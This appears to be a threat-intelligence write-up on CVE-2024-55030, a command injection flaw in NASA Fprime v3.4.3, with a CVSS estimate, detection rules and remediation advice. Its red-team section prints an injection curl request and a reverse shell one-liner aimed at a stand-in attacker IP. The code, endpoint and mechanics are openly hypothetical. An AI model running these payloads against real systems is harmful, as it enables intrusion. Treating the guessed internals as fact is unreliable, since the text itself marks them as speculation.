CVE-2024-55030

Executive Summary

CVE-2024-55030 identifies a critical command injection vulnerability in the Command Dispatcher Service of NASA's Fprime v3.4.3. This flaw allows an unauthenticated attacker to execute arbitrary commands on the target system, potentially leading to full system compromise. The vulnerability resides in the command parsing logic, where user-supplied input is not properly sanitized before being passed to the system shell. Given the nature of Fprime as a flight software framework used in aerospace and embedded systems, exploitation could have severe consequences, including loss of vehicle control or data exfiltration. No public proof-of-concept or patch is currently available, and the CVSS score is listed as 0.0, indicating incomplete assessment data.

Supply Chain & Package Security

This vulnerability affects the NASA Fprime framework, which is distributed as open-source software. Organizations using Fprime in their supply chain should immediately assess their exposure. The lack of a patch and public exploit details increases the risk of targeted attacks. Dependency scanning tools should flag Fprime v3.4.3 as vulnerable, and any deployment using this version should be isolated until a fix is applied.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder due to incomplete data. Based on the description, a reasonable assessment would be:

• Attack Vector (AV): Network (N) – The Command Dispatcher Service is network-accessible.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Arbitrary command execution can lead to data theft.
• Integrity (I): High (H) – Commands can modify system state.
• Availability (A): High (H) – Commands can disrupt services.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability exists in the Command Dispatcher Service, which is responsible for routing and executing commands within the Fprime framework. The service likely uses a system shell (e.g., /bin/sh) to execute commands based on user input. The flaw occurs when the service fails to properly sanitize or escape special characters in the command string, allowing an attacker to inject arbitrary shell commands.

For example, if the service constructs a command like:

system("dispatch_command " + user_input);

An attacker could provide input such as:

; malicious_command

This would result in the execution of:

dispatch_command ; malicious_command

The semicolon terminates the original command and executes the injected command.

The vulnerability is classified under CWE-77 (Improper Neutralization of Special Elements used in a Command). The lack of input validation and use of shell execution functions (e.g., system(), popen(), exec()) without proper escaping are the root causes.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (Python example):

import subprocess

def dispatch_command(user_input):
    cmd = "dispatch_command " + user_input
    subprocess.call(cmd, shell=True)

Patched Code (Python example):

import subprocess
import shlex

def dispatch_command(user_input):
    # Use shlex.quote to escape shell metacharacters
    safe_input = shlex.quote(user_input)
    cmd = ["dispatch_command", safe_input]
    subprocess.call(cmd, shell=False)

The patched version avoids using shell=True and properly escapes the input, preventing command injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of NASA Fprime v3.4.3 in a controlled environment (e.g., Docker container).
2. Ensure the Command Dispatcher Service is exposed on a network port (e.g., TCP 5000).

Exploitation Steps:

1. Identify the endpoint that accepts commands (e.g., /dispatch).
2. Craft a payload to inject a command. For example:

   ; id
   

3. Send the payload via HTTP POST or raw socket:

   curl -X POST http://target:5000/dispatch -d "command=; id"
   

4. Observe the output of the id command in the response.

Advanced Payload:

; bash -i >& /dev/tcp/attacker_ip/4444 0>&1

This creates a reverse shell.

Blue Team

Detection:

• Monitor for unusual command execution patterns in the Fprime logs.
• Look for shell metacharacters (e.g., ;, |, &, `) in incoming requests.
• Use network intrusion detection systems (NIDS) to flag suspicious payloads.

Mitigation:

• Immediately isolate any systems running Fprime v3.4.3.
• Apply input validation and sanitization as a temporary workaround.
• Restrict network access to the Command Dispatcher Service.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing shell metacharacters (e.g., ;, |, &, `) in the command parameter.
  • Outbound connections from the Fprime service to unexpected IP addresses (e.g., reverse shell traffic).
• File IOCs:
  • Unexpected files created in /tmp or other writable directories.
  • Modified system binaries or scripts.
• Process IOCs:
  • Unusual child processes spawned by the Fprime service (e.g., /bin/sh, /bin/bash, /usr/bin/curl).
  • Processes running with elevated privileges.

Detection Engineering

YARA Rule

rule CVE_2024_55030_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting NASA Fprime v3.4.3"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55030"
    strings:
        $semicolon = ";"
        $pipe = "|"
        $ampersand = "&"
        $backtick = "`"
        $dollar = "$("
    condition:
        any of ($semicolon, $pipe, $ampersand, $backtick, $dollar) and
        filesize < 10KB
}

Sigma Rule

title: CVE-2024-55030 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with shell metacharacters targeting Fprime Command Dispatcher
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in command parameters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-55030 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/dispatch"; http_uri; content:"command="; http_client_body; pcre:"/(;|\||&|`|\$\().*/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate all systems running Fprime v3.4.3 from untrusted networks.
2. Disable the Command Dispatcher Service if not essential.
3. Apply input validation and sanitization as a temporary workaround (e.g., using shlex.quote() in Python).

Long-term Fix:

• Await an official patch from NASA. Monitor the Fprime GitHub repository for updates.
• Upgrade to a patched version once available.
• Implement a Web Application Firewall (WAF) to block malicious payloads.

Compensating Controls:

• Use network segmentation to limit access to the service.
• Enable logging and monitoring for suspicious activity.
• Conduct a security audit of the entire Fprime deployment.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert